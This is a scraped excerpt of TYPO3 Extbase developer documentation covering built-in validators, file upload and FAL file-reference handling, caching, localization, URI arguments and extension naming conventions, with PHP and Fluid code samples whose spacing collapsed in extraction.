useT3docs\BlogExample\Exception\NoBlogAdminAccessException;
useTYPO3\CMS\Extbase\Annotation\Validate;
useTYPO3\CMS\Extbase\Mvc\Controller\ActionController;
classBlogControllerextendsActionController{
/**
* Updates an existing blog
*
* $blog is a not yet persisted clone of the original blog containing
* the modifications
*
* @throws NoBlogAdminAccessException
*/#[Validate(['param' => 'blog',
'validator' => BlogValidator::class,
])]
publicfunctionupdateAction(Blog $blog): ResponseInterface{
// do somethingreturn$this->htmlResponse();
}
}
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Dependency injection in validators
Extbase validators are capable of dependency injection
without further configuration, you can use the constructor method:
All validators except the NotEmptyValidator
accept empty values as valid. If empty values should not be possible,
combine these validators with the NotEmptyValidator.
The
AlphanumericValidator
checks that a value contains only letters and numbers — no spaces, symbols,
or special characters.
This includes letters from many languages, not just A–Z. For example,
letters from alphabets like Hebrew, Arabic, Cyrillic, and others are also
allowed.
This is useful for fields like usernames or codes where only plain text
characters are allowed.
The
BooleanValidator
checks if a value matches a specific boolean value (true or false).
By default, it accepts any boolean value unless the is option is
set.
Options:
is
This option enforces that a property explicitly
evaluates to either true or false, such as for checkboxes in forms.
Interprets strings 'true', '1', 'false', '0'.
Values of other types are converted to boolean directly.
Note
Empty strings '' and null are always validated, regardless of the is option.
If you want to deny empty strings a null, combine this validator with
the NotEmptyValidator.
Ensure that a value is a boolean (no strict check, default behavior):
The
CollectionValidator
is a built-in Extbase validator for validating arrays
or collections, such as arrays of DTOs or ObjectStorage<T> elements.
It allows you to apply a single validation to each individual item in a
collection. The validation is recursive: every item is passed through the
validator you specify.
elementValidator
The name or class of a validator that should be applied
to each item in the collection (e.g. 'NotEmpty', 'EmailAddress').
elementType
The class name of the collection's element type. All
registered validators for that type will be applied to each item.
You must provide eitherelementValidator or elementType.
Note
We are still missing working examples for this validator. Click the
"Report Issue" button on the top of this page and send us your examples.
Use cases:
Validating dynamic or repeatable form fields (e.g. multiple answers)
Validating input arrays from multi-select fields or checkboxes
Validating each related object in an ObjectStorage property
Note
Validation will be skipped if neither elementValidator nor
elementType is set.
ConjunctionValidator
The
ConjunctionValidator
allows you to combine multiple validators into a
logical AND. All validators in the conjunction must return valid results
for the overall validation to pass.
This validator is typically used internally by Extbase when multiple
#[Validate] attributes are defined on a property or when validator
conjunctions are configured in the validator resolver.
Behavior:
All validators in the conjunction are applied to the value.
If any validator fails, the entire validation fails.
Errors from all failing validators are combined in the result.
While this validator is often constructed internally, you can also define your
own validator combinations manually in the validator resolver or via custom
validators.
Note
We are still missing working examples for this validator. Click the
"Report Issue" button on the top of this page and send us your examples.
Note
If you use multiple #[Validate(...)] attributes on a single
property, Extbase automatically applies them using a ConjunctionValidator.
You do not need to instantiate it manually in most use cases.
DateTimeValidator
The
DateTimeValidator
ensures a value is a valid
\DateTimeInterface.
The
DisjunctionValidator is a composite Extbase validator that allows you to
combine multiple validators using a logical OR.
It is the inverse of the ConjunctionValidator: the value is considered valid
if at least one of the nested validators succeeds.
Behavior:
- All validators are evaluated in order.
- Validation stops as soon as one validator passes.
- If all validators fail, their errors are merged and returned.
- If any validator passes, the result is considered valid.
Use cases:
Use this validator when a value is allowed to match one of multiple conditions.
For example:
- A field can be either empty or a valid email
- A string can be either a number or "N/A"
- A value can match one of multiple formats
Usage:
This validator is typically used manually in custom validators or
in validator resolver configurations.
Note
We are still missing working examples for this validator. Click the
"Report Issue" button on the top of this page and send us your examples.
Note
Extbase does not automatically construct disjunctions for you.
You must manually create and configure a DisjunctionValidator when needed.
It is not currently possible to use this validator directly via
#[Validate(...)] annotations.
EmailAddressValidator
The
EmailAddressValidator
an email address using method
\TYPO3\CMS\Core\Utility\GeneralUtility::validEmail(),
which uses the validators defined in
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['validators'].
The
FileNameValidator
validates, that the given
UploadedFile or
ObjectStorage with objects of type UploadedFile
objects does not contain a PHP executable file by checking the given file
extension.
Internally the
\TYPO3\CMS\Core\Resource\Security\FileNameValidator is
used to validate the file name.
Note
We are still missing working examples for this validator. Click the
"Report Issue" button on the top of this page and send us your examples.
FileSizeValidator
The
FileSizeValidator
validates, that the given
UploadedFile
ObjectStorage with objects of type UploadedFile
objects do not exceed the file size configured via the options.
Options:
minimum
The minimum file size to accept in bytes, accepts K / M / G suffixes
maximum
The maximum file size to accept
Internally
\TYPO3\CMS\Core\Type\File\FileInfo is used to determine the
size.
Note
We are still missing working examples for this validator. Click the
"Report Issue" button on the top of this page and send us your examples.
The
NumberRangeValidator
checks that a number falls within a specified numeric range.
This validator supports integers and floats and is useful for validating
percentages, prices, limits, or any numeric input with minimum and/or maximum
constraints.
Validator options
minimum
Lower boundary of the valid range (inclusive).
maximum
Upper boundary of the valid range (inclusive).
message
Custom error message or translation key for out-of-range values.
If only minimum is set, the validator checks for values greater than
or equal to that minimum.
If only maximum is set, it checks for values less than or equal to
that maximum.
You may use both together to define an inclusive range.
The
RegularExpressionValidator
checks whether a given value matches a specified regular expression (regex).
It is useful for validating custom string formats that are not covered by
built-in validators.
For example, it can enforce ID formats, postal codes, or other structured
inputs.
Note
The default error message of the RegularExpressionValidator looks very
cryptic for end users as it repeats the regular expression. Provide
an individualized error message.
Options:
regularExpression
The regular expression to validate against.
Must be a valid PCRE pattern, including delimiters (e.g. /^...$/).
message
Custom error message or translation key. If not set, a localized default
message will be used. The default message looks cryptic and should not be
shown to website visitors as-is.
Validation behavior:
If the value does not match, an error is added.
If the regex is invalid, an exception is thrown.
The validator supports localized error messages via LLL:EXT:... syntax.
Example: username pattern
Validate that a value contains only alphanumeric characters:
Checks if the given value is a valid text (contains no HTML/XML tags).
Note
Be aware that the value of this check entirely depends on the output context.
The validated text is not expected to be secure in every circumstance, if you
want to be sure of that, use a customized regular expression or filter on output.
Implementing file uploads / attachments to Extbase domain models
has always been a bit of a challenge.
While it is straight-forward to access an existing file reference in a domain model,
writing new files to the FAL (File Access Layer)
takes more effort.
Accessing a file reference in an Extbase domain model
You need two components for the structural information: the Domain
Model definition and the TCA entry.
The domain model definition:
EXT:my_extension/Classes/Domain/Model/Blog.php
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Domain\Model;
useTYPO3\CMS\Extbase\Domain\Model\FileReference;
useTYPO3\CMS\Extbase\DomainObject\AbstractEntity;
useTYPO3\CMS\Extbase\Persistence\ObjectStorage;
classBlogextendsAbstractEntity{
// A single fileprotected ?FileReference $singleFile = null;
/**
* A collection of files.
* @var ObjectStorage<FileReference>
*/protected ObjectStorage $multipleFiles;
// When using ObjectStorages, it is vital to initialize these.publicfunction__construct(){
$this->multipleFiles = new ObjectStorage();
}
/**
* Called again with initialize object, as fetching an entity from the DB does not use the constructor
*/publicfunctioninitializeObject(): void{
$this->multipleFiles = $this->multipleFiles ?? new ObjectStorage();
}
// Typical getterspublicfunctiongetSingleFile(): ?FileReference{
return$this->singleFile;
}
/**
* @return ObjectStorage|FileReference[]
*/publicfunctiongetMultipleFiles(): ObjectStorage{
return$this->multipleFiles;
}
// For later examples, the setters:publicfunctionsetSingleFile(?FileReference $singleFile): void{
$this->singleFile = $singleFile;
}
publicfunctionsetMultipleFiles(ObjectStorage $files): void{
$this->multipleFiles = $files;
}
}
Once this is set up, you can create/edit records through the TYPO3
backend (for example via Web > List), attach a single or
multiple files in it. Then using a normal
controller and Fluid template, you can display an image.
<htmlxmlns:f="http://typo3.org/ns/TYPO3/CMS/Fluid/ViewHelpers"data-namespace-typo3-fluid="true"><f:layoutname="Default" /><f:sectionname="main"><p>Single image:</p><f:imageimage="{blog.singleFile.originalFile}" /><p>Multiple images:</p><f:foreach="{blog.multipleFiles}"as="image"><f:imageimage="{image.originalFile}" /></f:for><p>Access first image of multiple images:</p><f:imageimage="{blog.multipleFiles[0].originalFile}" /></f:section>
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On the PHP side within controllers, you can use the usual
$blogItem->getSingleFile() and
$blogItem->getMultipleFiles()
Extbase getters to retrieve the FileReference object.
Writing FileReference entries
Manual handling
With TYPO3 versions below v13.3, attaching files to an Extbase domain model
was only possible by either:
Manually evaluate the
$_FILES data, process and validate the data,
use raw QueryBuilder write actions on
sys_file and
sys_file_reference
to persist the files quickly, or use at least some API methods:
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Controller;
useMyVendor\MyExtension\Domain\Model\Blog;
useMyVendor\MyExtension\Domain\Repository\BlogRepository;
useTYPO3\CMS\Core\Resource\Enum\DuplicationBehavior;
useTYPO3\CMS\Core\Resource\ResourceFactory;
useTYPO3\CMS\Core\Utility\GeneralUtility;
useTYPO3\CMS\Core\Utility\StringUtility;
useTYPO3\CMS\Extbase\Domain\Model\FileReference;
useTYPO3\CMS\Extbase\Mvc\Controller\ActionController;
classBlogControllerextendsActionController{
publicfunction__construct(
protected ResourceFactory $resourceFactory,
protected BlogRepository $blogRepository,
){}
publicfunctionattachFileUpload(Blog $blog): void{
$falIdentifier = '1:/your_storage';
$yourFile = '/path/to/uploaded/file.jpg';
// Attach the file to the wanted storage
$falFolder = $this->resourceFactory->retrieveFileOrFolderObject($falIdentifier);
$fileObject = $falFolder->addFile(
$yourFile,
basename($yourFile),
DuplicationBehavior::REPLACE,
);
// Initialize a new storage object
$newObject = [
'uid_local' => $fileObject->getUid(),
'uid_foreign' => StringUtility::getUniqueId('NEW'),
'uid' => StringUtility::getUniqueId('NEW'),
'crop' => null,
];
// Create the FileReference Object
$fileReference = $this->resourceFactory->createFileReferenceObject($newObject);
// Port the FileReference Object to an Extbase FileReference
$fileReferenceObject = GeneralUtility::makeInstance(FileReference::class);
$fileReferenceObject->setOriginalResource($fileReference);
// Persist the created file reference object to our Blog model
$blog->setSingleFile($fileReferenceObject);
$this->blogRepository->update($blog);
// Note: For multiple files, a wrapping ObjectStorage would be needed
}
}
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Instead of raw access to
$_FILES, starting with TYPO3 v12 the recommendation
is to utilize the UploadedFile objects instead of $_FILES.
In that case, validators can be used for custom UploadedFile objects to specify restrictions
on file types, file sizes and image dimensions.
Use (or better: adapt) a more complex implementation by using Extbase TypeConverters,
as provided by Helmut Hummel's EXT:upload_example.
This extension is no longer maintained and will not work without larger adaptation for
TYPO3 v12 compatibility.
The controller action part with persisting the data needs no further custom code,
Extbase can automatically do all the domain model handling on its own. The TCA can
also stay the same as configured for simply read-access to a domain model. The only
requirement is that you take care of persisting the domain model after create/update
actions:
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Controller;
useMyVendor\MyExtension\Domain\Model\Blog;
useMyVendor\MyExtension\Domain\Repository\BlogRepository;
usePsr\Http\Message\ResponseInterface;
useTYPO3\CMS\Core\Utility\GeneralUtility;
useTYPO3\CMS\Extbase\Mvc\Controller\ActionController;
classBlogControllerextendsActionController{
publicfunction__construct(protected readonly BlogRepository $blogRepository){
// Note: The repository is a standard extbase repository, nothing specific// to this example.
}
publicfunctionlistAction(): ResponseInterface{
$this->view->assign('blog', $this->blogRepository->findAll());
return$this->htmlResponse();
}
publicfunctionnewAction(): ResponseInterface{
// Create a fresh domain model for CRUD$this->view->assign('blog', GeneralUtility::makeInstance(Blog::class));
return$this->htmlResponse();
}
publicfunctioncreateAction(Blog $blog): ResponseInterface{
// Set some basic attributes to your domain model that users should not// influence themselves, like the storage PID
$blog->setPid(42);
// Persisting is needed to properly create FileReferences for the File object$this->blogRepository->add($blog);return$this->redirect('list');
}
publicfunctioneditAction(?Blog $blog): ResponseInterface{
$this->view->assign('blog', $blog);
return$this->htmlResponse();
}
publicfunctionupdateAction(Blog $item): ResponseInterface{
$this->blogRepository->update($item);return$this->redirect('list');
}
}
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The actual file upload processing is done after extbase property mapping was successful.
If not all properties of a domain model are valid, the file will not be uploaded.
This means, if any error occurs, a user will have to re-upload a file.
The implementation is done like this to prevent stale temporary files that would
need cleanup or could raise issues with Denial of Service (by filling up disk-space
with these temporarily uploaded files).
Note
File upload handling for nested domain models (e.g. modelA.modelB.fileReference)
is not supported.
Important
When working with file uploads in domain models, it is required to persist the
model within the same request in your Controller of the target action, for example
via
$myRepository->add($myModel). Otherwise, dangling sys_file records will
be created, without a
FileReference in place, leading to stale temporary
files that will need cleanup.
Reference for the
FileUpload PHP attribute
File uploads can be validated by the following rules:
minimum and maximum file count
minimum and maximum file size
allowed MIME types
image dimensions (for image uploads)
Additionally, it is ensured, that the filename given by the client is valid,
meaning that no invalid characters (null-bytes) are added and that the file
does not contain an invalid file extension. The API has support for custom
validators, which can be created on demand.
To avoid complexity and maintain data integrity, a file upload is only
processed if the validation of all properties of a domain model is successful.
In this first implementation, file uploads are not persisted/cached temporarily,
so this means in any case of a validation failure ("normal" validators and file upload
validation) a file upload must be performed again by users.
Possible future enhancements of this functionality could enhance the existing
#[FileUpload] attribute/annotation with configuration like a temporary storage
location, or specifying additional custom validators (which can be done via the PHP-API as
described below)
File upload configuration with the FileUpload attribute
File upload for a property of a domain model can be configured using the
newly introduced
\TYPO3\CMS\Extbase\Annotation\FileUpload attribute.
Example:
EXT:my_extension/Classes/Domain/Model/Blog.php (example excerpt of an Extbase domain model)
All configuration settings of the
\TYPO3\CMS\Extbase\Mvc\Controller\FileUploadConfiguration object can
be defined using the
FileUpload
attribute. It is however not possible
to add custom validators using the
FileUpload attribute, which you
can achieve with a manual configuration as shown below.
The currently available configuration array keys are:
validation (
array with keys required, maxFiles, minFiles,
fileSize, allowedMimeTypes, imageDimensions, see
File upload validation)
uploadFolder (
string, destination folder)
duplicationBehavior (
object, behaviour when file exists)
addRandomSuffix (
bool, suffixing files)
createUploadFolderIfNotExist (
bool, whether to create missing
directories)
It is also possible to use the
FileUpload annotation to configure
file upload properties, but it is recommended to use the
FileUpload attribute due to better readability.
Manual file upload configuration
A file upload configuration can also be created manually and should be
done in the
initialize*Action.
The configuration for a file upload is defined in a
FileUploadConfiguration object.
This object contains the following configuration options.
Hint
The appropriate setter methods or configuration
keys can best be inspected inside that class definition.
Property name:
Defines the name of the property of a domain model to which the file upload
configuration applies. The value is automatically retrieved when using
the
FileUpload attribute. If the
FileUploadConfiguration object
is created manually, it must be set using the
$propertyName
constructor argument.
Validation:
File upload validation is defined in an array of validators in the
FileUploadConfiguration object. The validator
\TYPO3\CMS\Extbase\Validation\Validator\FileNameValidator ,
which ensures that no executable PHP files can
be uploaded, is added by default if the file upload configuration object
is created using the
FileUpload attribute.
In addition, Extbase includes the following validators to validate an
UploadedFile object:
Those validators can either be configured with the
FileUpload attribute or added
manually to the configuration object
with the
addValidator() method.
Required
Defines whether a file must be uploaded. If it is set to true, the
minFiles configuration is set to 1.
Minimum files
Defines the minimum amount of files to be uploaded.
Maximum files
Defines the maximum amount of files to be uploaded.
Upload folder
Defines the upload path for the file upload. This configuration expects a
storage identifier (e.g.
1:/user_upload/folder/). If the given target
folder in the storage does not exist, it is created automatically.
Upload folder creation, when missing
The default creation of a missing storage folder can be disabled via the
property
createUploadFolderIfNotExist of the
#[FileUpload([...])] attribute
(
bool, default
true).
Add random suffix
When enabled, the filename of an uploaded and persisted file will contain a
random 16 char suffix. As an example, an uploaded file named
job-application.pdf will be persisted as
job-application-<random-hash>.pdf in the upload folder.
The default value for this configuration is
true and it is recommended
to keep this configuration active.
This configuration only has an effect when uploaded files are persisted.
Duplication behavior
Defines the FAL behavior, when a file with the same name exists in the target
folder. Possible values are
\TYPO3\CMS\Core\Resource\Enum\DuplicationBehavior::RENAME (default),
\TYPO3\CMS\Core\Resource\Enum\DuplicationBehavior::REPLACE and
\TYPO3\CMS\Core\Resource\Enum\DuplicationBehavior::CANCEL.
Modifying existing configuration
File upload configuration defined by the
FileUpload attribute can be
changed in the
initialize*Action.
The example shows how to modify the file upload configuration for the argument
item and the property
file. The minimum amount of files to be
uploaded is set to
2 and a custom validator is added.
To remove all defined validators except the
DenyPhpUploadValidator, use
the
resetValidators() method.
Using TypoScript configuration for file uploads configuration
When a file upload configuration for a property has been added using the
FileUpload attribute, it may be
required make the upload folder or
other configuration options configurable with TypoScript.
Extension authors should use the
initialize*Action to apply settings
from TypoScript to a file upload configuration.
Each uploaded file can be validated against a configurable set of validators.
The
validation section of the
FileUpload attribute allows to
configure commonly used validators using a configuration shorthand.
The following validation rules can be configured in the
validation
section of the
FileUpload attribute:
required
minFiles
maxFiles
fileSize
allowedMimeTypes
imageDimensions
Example:
Excerpt of an attribute withhin an Extbase domain model class
Extbase will internally use the Extbase file upload validators for
fileSize,
allowedMimeTypes and
imageDimensions validation.
Custom validators can be created according to project requirements and must
extend the Extbase
AbstractValidator .
The value to be validated is
always a PSR-7
UploadedFile object.
Custom validators can however not
be used in the
FileUpload attribute
and must be configured manually.
Example for an object with an
ObjectStorage<FileReference> property,
containing multiple files and allowing to delete the first one
(iteration is possible within Fluid, to do that for every object of the collection):
Extbase will then handle file deletion(s) before persisting a validated
object. It will:
validate that minimum and maximum file upload configuration for the affected
property is fulfilled (only if the property has a
FileUpload )
delete the affected
sys_file_reference record
delete the affected file
Internally, Extbase uses
FileUploadDeletionConfiguration objects to track
file deletions for properties of arguments. Files are deleted directly without
checking whether the current file is referenced by other objects.
Apart from using this ViewHelper, it is of course still possible to manipulate
FileReference properties with custom logic before persistence.
ModifyUploadedFileTargetFilenameEvent
The
ModifyUploadedFileTargetFilenameEvent
allows event listeners to
alter a filename of an uploaded file before it is persisted.
Event listeners can use the method getTargetFilename() to retrieve the filename
used for persistence of a configured uploaded file. The filename can then be
adjusted via setTargetFilename(). The relevant configuration can be retrieved
via getConfiguration().
Multi-step form handling
The implementation of the file upload feature in Extbase intentionally requires to
handle the FileUpload directly within the validation/persistence step of a controller
action.
If you have a multi-step process in place, where the final persistence of a domain model
object is only performed later on, you will need to deal with the created files.
For example, you may want to implement a preview before the final domain model
entity is persisted.
Some possible ways to deal with this:
Implement the file handling as a DTO. The key idea here is
to decouple the uploaded file into its own domain model object. You can pass that
along (including its persistence identity) from one form step to the next, and only
in the final step you would take care of transferring the data of this DTO into
your actual domain model, and attach the FileReference object.
Or use client-side JavaScript. You could create a stub in your Fluid template that
has placeholders for user-specified data, and then fills the actual data (before
the form is submitted) into these placeholders. You can use the JavaScript
FileReader()
object to access and render uploaded files.
Caching in Extbase plugins
Extbase clears the TYPO3 cache automatically for update processes. This is called
Automatic cache clearing. This functionality is activated by default. If a domain object is
inserted, changed, or deleted, then the cache of the corresponding page in which the object is
located is cleared. Additionally the setting
of TSConfig TCEMAIN.clearCacheCmd is evaluated for this page.
The frontend plugin is on the page Blog with uid=11. As a storage folder for all the Blogs and
Posts the SysFolder BLOGS is configured. If an entry is changed, the cache of the SysFolder
BLOGS is emptied and also the TSConfig configuration
TCEMAIN.clearCacheCmd for the SysFolder is evaluated.
This contains a comma-separated list of Page IDs, for which the cache should be emptied. In this
case, when updating a record in the SysFolder BLOGS (e.g., Blogs, Posts, Comments), the cache of
the page Blog, with uid=11, is cleared automatically, so the changes are immediately visible.
Even if the user enters incorrect data in a form (and this form will be
displayed again), the cache of the current page is deleted to force a new
representation of the form.
Multilingual websites are widespread nowadays, which means that the
web-available texts have to be localized. Extbase provides the helper class
\TYPO3\CMS\Extbase\Utility\LocalizationUtility for the translation of the labels. Besides,
there is the Fluid ViewHelper <f:translate>, with the help of whom you can use that
functionality in templates.
The localization class has only one public static method called translate, which
does all the translation. The method can be called like this:
The identifier to be translated. If the format LLL:path:key is given, then this
identifier is used, and the parameter $extensionName is ignored. Otherwise, the
file Resources/Private/Language/locallang.xlf from the given extension is loaded,
and the resulting text for the given key in the current language returned.
$extensionName
The extension name. It can be fetched from the request.
Extbase uses special URI arguments to pass variables
to Controller arguments and the framework itself.
Extbase uses a prefixed URI argument scheme that relies
on plugin configuration.
For example, the example extension EXT:blog_example would use:
// Linebreaks just for readability.
https://example.org/blog/?tx_blogexample_bloglist[action]=show
&tx_blogexample_bloglist[controller]=Post
&tx_blogexample_bloglist[post]=4711
&cHash=...
// Actually, the [] parameters are often URI encoded, so this is emitted:
https://example.org/blog/?tx_blogexample_bloglist%5Baction%5D=show
&tx_blogexample_bloglist%5Bcontroller%5D=Post
&tx_blogexample_bloglist%5Bpost%5D=4711
&cHash=...
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as the created URI to execute the showAction of the Controller PostController
within the plugin BlogList.
The following arguments are evaluated:
tx_(extensionName)_(pluginName)[action]:
Controller action to execute
tx_(extensionName)_(pluginName)[controller]
Controller containing the action
tx_(extensionName)_(pluginName)[format]
Output format (usually html, can also be json or custom types)
Any other argument will be passed along to the controller action and can be
retrieved via
$this->request->getArgument(). Usually this is auto-wired
by the automatic parameter mapping of Extbase.
These URI arguments can also be used for the routing configuration, see
Extbase plugin enhancer.
Warning
The listed keys action, controller and format are reserved keywords.
Never use these as custom argument names to your controller actions,
so instead of
<f:uri.action action="new" arguments="{format: someVariable}">
you should use
<f:uri.action action="new" arguments="{customFormat: someVariable}">.
Else, using an argument like this would lead to TYPO3 exceptions of unresolvable
Fluid template files!
When submitting a HTML
<form>, the same URI arguments will be part of
a HTTP POST request, with some more special ones:
tx_(extensionName)_(pluginName)[__referrer]
An array with information
of the referring call (subkeys: @extension, @controller, @action,
List of properties to be submitted to an action (hashed and secured)
These two keys are also regarded as reserved keywords. Generally, you should
avoid custom arguments interfering with either the @... or __... prefix
notation.
The extension
ttn/tea
, is based on Extbase and Fluid. The
extension features a range of best practices in relation to automated code checks,
unit/functional/acceptance testing and continuous integration.
You can also use this extension to manage your collection of delicious teas.
In the TYPO3 Core, the system extension
typo3/cms-beuser
has backend modules
based on Extbase. It can therefore be used as a guide on how to develop
backend modules with Extbase.
News
georgringer/news
implements a versatile news system based on Extbase & Fluid
and uses the latest technologies provided by the Core.
The "extension key" is a string that uniquely identifies the extension.
The folder in which the extension is located is named by this string.
Rules for the Extension Key
The extension key must comply with the following rules:
It can contain characters a-z, 0-9 and underscore
No uppercase characters should be used (folder, file and table/field names
remain in lowercase).
Furthermore the key must not start with any of these (these are prefixes
used for modules):
tx
user_
pages
tt_
sys_
ts_language
csh_
The key may not start with a number. Also an underscore at the beginning or
the end is not allowed.
The length must be between 3 and 30 characters (underscores not included).
The extension key must still be unique even if underscores are removed,
since backend modules that refer to the extension should be named by
the extension key without underscores. (Underscores are allowed
to make the extension key easy to read).
The naming conventions of extension keys are automatically validated
when they are registered in the repository, so you do not have to worry
about this.
There are two ways to name an extension:
Project specific extensions (not generally usable or shareable):
Select any name you like and prepend it "user_" (which is the only
allowed use of a key starting with "u"). This prefix denotes that it is
a local extension that does not originate from the central TYPO3
Extension Repository or is ever intended for sharing. Probably this
is an "adhoc" extension you made for some special occasion.
General extensions: Register an extension name online at the TYPO3
Extension Repository. Your extension name will be validated automatically
and you are sure to have a unique name will be returned which no
one else in the world will use. This makes it very easy to share your
extension later on with everyone else as it ensures that no
conflicts will occur with other extensions. But by default, a new
extension you make is defined as "private", which means no one else but
you have access to it until you permit it to be public. It's free of
charge to register an extension name. By definition, all code in the
TYPO3 Extension Repository is covered by the GPL license because it
interfaces with TYPO3. You should really consider making general
extensions!
Tip
It is far easier to settle for the right
extension key from the beginning. Changing it later involves a cascade
of name changes to tables, modules, configuration files, etc. Think carefully.
About GPL and extensions
Remember that TYPO3 is GPL software and at the
same moment when you extend TYPO3, your extensions are legally covered by
GPL. This does not force you to share your extension, but it should
inspire you to do so and legally you cannot prevent anyone who gets
hold of your extension code from using it and further develop it. The
TYPO3 Extension API is designed to make sharing of your work easy as
well as using others' work easy. Remember TYPO3 is Open Source Software
and we rely on each other in the community to develop it further.
Attention
It's also your responsibility to make sure that
all content of your extensions is legally covered by GPL. The
webmaster of TYPO3.org reserves the right to kick out any extension
without notice that is reported to contain non-GPL material.
Security
You are responsible for security issues in your
extensions. People may report security issues either directly to you
or to the TYPO3 Security Team.
In any case, you should get in
touch with the Security Team which will validate the security fixes.
They will also include information about your (fixed) extension in
their next Security bulletin. If you don't respond to requests from
the Security Team, your extension will be removed by force from the
TYPO3 Extension Repository.
Before starting a new extension you should register an extension key
on extensions.typo3.org (unless you plan to make an implementation-specific
extension – of course – which does not make sense to share).
Go to extensions.typo3.org, log in with your
(pre-created) username/password and navigate to My Extensions in the
menu. Click on the Register extension key tab. On that page enter
the extension key you want to register.
The extension key registration form
Naming conventions
The first thing you should decide on is the extension key
for your extension and the vendor name. A significant part of the names below
are based on the extension key.
Tip
Some of the names, such as extension key or vendor name, will be spelled differently,
depending on where they are used, for example:
underscores (_) in the extension key should be replaced by dashes (-), when used in the
package name in the file composer.json (e.g. cool_shop becomes <vendor>/cool-shop)
underscores in the extension key should be removed by converting the extension key
to UpperCamelCase in namespaces (e.g. cool_shop becomes
\MyVendor\CoolShop)
Abbreviations & Glossary
UpperCamelCase
UpperCamelCase begins
with a capital letter and begins all following subparts of a word with a
capital letter. The rest of each word is in lowercase with no spaces,
e.g. CoolShop.
lowerCamelCase
lowerCamelCase is
the same as UpperCamelCase, but begins with a lowercase letter.
TER
The "TYPO3 Extension Repository":
A catalogue of extensions where you can find information about
extensions and where you can search and filter by TYPO3 version
etc. Once registered on https://my.typo3.org, you can login and register
an extension key for your extension in https://extensions.typo3.orgMy Extensions.
extkey
The extension key as is (e.g. 'my_extension').
extkeyprefix
The extension key with stripped away underscores (e.g. extkey='my_extension'
becomes extkeyprefix='myextension').
ExtensionName
The term ExtensionName means the extension key in UpperCamelCase.
Example: for an extkey bootstrap_package the ExtensionName would be BootstrapPackage.
The ExtensionName is used as first parameter in the Extbase method
ExtensionUtility::configurePlugin() and as value for the
extensionName key when
registering a backend module.
modkey
The backend module key.
Public extensions
Public extensions are publicly available. They are usually registered in TER
and available via Packagist.
Private extensions
These are not published to the TER or Packagist.
Some of these "Conventions" are actually mandatory, meaning you will most likely
run into problems if you do not adhere to them.
We very strongly recommend to always use these naming conventions. Hard requirements
are emphasized by using the words MUST, etc. as specified in
RFC 2119. SHOULD or MAY indicate
a soft requirement: strongly recommended but will usually work, even if you
do not follow the conventions.
Tip
If you study the naming conventions closely you will find that
they are complicated due to varying rules derived from the extkey,
if the extkey contains underscores. Sometimes the underscores are
stripped off, sometimes not, sometimes a name in UpperCamelCase is created.
The best practice you can follow is to avoid using underscores in
your extensions keys altogether. That will make the rules simpler and is
highly recommended.
Extension key (extkey)
The extension key (extkey) is used as is in:
directory name of extension in typo3conf/ext
(or typo3/sysext for system extensions)
Derived names are:
package name in composer.json<vendor-name>/<package-name>.
Underscores (_) should be replaced by dashes (-)
namespaces: Underscores in the extension key are removed by converting the extension key
to UpperCamelCase in namespaces (e.g. cool_shop becomes MyVendor\CoolShop).
Attention
If you plan to publish your extension,
the extension key must be unique worldwide. This will be checked
and enforced once you register the extension key on extensions.typo3.org.
The extkey is valid if the TER accepts it. This also makes sure that the
name follows the rules and is unique.
Do this early! An already reserved key can usually only be transferred if the
original author agrees to this.
The extkey MUST be unique within your installation.
The extkey MUST be made up of lowercase alphanumeric characters
and underscores only and MUST start with a letter.
Use common PHP naming conventions for vendor names in namespaces and check
PSR-0. There are currently no strict
rules, but commonly used vendor names begin with a capital letter,
followed by all lowercase.
The vendor name (as well as the extkey) is spelled with all lowercase when
used in the package name in the file composer.json
For the following examples, we assume:
the vendor name is MyCompany
the extkey is my_example
Examples:
Namespace:
MyCompany\MyExample\...
package name (in composer.json): my-company/my-example
You may notice, that the names above use the singular form, e.g. post and
not posts. This is recommended, but not always followed. If you do not follow this pattern,
you may need manual mapping.
MM-tables for multiple-multiple relations between tables
MM tables (for multiple-multiple relations between tables) follow these rules.
Extbase:
# rule for Extbase
tx_<extkeyprefix>_domain_model_<model-name-1>_<model-name-2>_mm
# example: EXT:blog with relation between post and comment
tx_blogexample_domain_model_post_comment_mm
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Non-Extbase tables usually use a similar rule, without the "domain_model" part:
# recommendation for non-Extbase third party extensions
tx_<extkeyprefix>_<model-1>_<model-2>_mm
# Example
tx_myextension_address_category_mm
# example for TYPO3 core:
sys_category_record_mm
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Database column name
When extending a common table like
tt_content, column names SHOULD
follow this pattern:
tx_<extkeyprefix>_<column-name>
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<extkeyprefix> is the extension key without underscores, so foo_bar becomes foobar
<column-name> should clearly describe the purpose of the column
Backend module key (modkey)
The main module key SHOULD contain only lowercase characters. Do not use an
underscore or dash.
The submodule key MUST be made up of alphanumeric characters only. It MAY
contain underscores and MUST start with a letter.
The backend module signature is a derived identifier which is constructed by
TYPO3 when the module is registered.
The signature is usually constructed by using the main module key and submodule
key, separated by an underscore.
Conversions, such as underscore to UpperCamelCase or conversions to lowercase
may be applied in this process.
Examples (from TYPO3 Core extensions):
web_info
web_FormFormbuilder
site_redirects
Tip
You can look at existing module signatures in
System > Configuration > Backend Modules.
Plugin signature
Changed in version 14.0
Adding frontend plugins as a "General Plugin", setting the content
record
CType to
'list' and list_type to the plugin signature
is not possible anymore. See Migration: list_type plugins to CType.
The plugin signature of non-Extbase plugins, registered via
ExtensionManagementUtility::addPlugin() is an arbitrarily defined string.
By convention it should always be the extension name with all underscores removed
followed by one underscore and then a lowercase, alphanumeric plugin key.
Examples:
"myextension_coolplugin",
"examples_pi1".
Extbase based plugins are registered via
ExtensionUtility::registerPlugin().
This method expects the extension key (UpperCamelCase or with underscores) as
the first parameter and a plugin name in UpperCamelCase (for example
"Pi1" or
"CoolPlugin"). The method then returns the new plugin signature.
If you have to write the signature yourself in other contexts (TypoScript for
example) you can build it yourself from the extension name and the plugin name:
For this, all underscores in the extension key are omitted and all characters set to lowercase.
The extension key and plugin key are separated by an underscore (_).
You SHOULD use the following naming convention for the identifier:
extKey_wizardName
This is not enforced.
Please see Wizard identifier in the Upgrade Wizard chapter
for further explanations.
Note on "old" extensions
Some the "classic" extensions from before the extension structure came
about do not comply with these naming conventions. That is an
exception made for backwards compatibility. The assignment of new keys
from the TYPO3 Extension Repository will make sure that any of these
old names are not accidentally reassigned to new extensions.
Furthermore, some of the classic plugins (tt_board, tt_guest etc) use
the "user_" prefix for their classes as well.
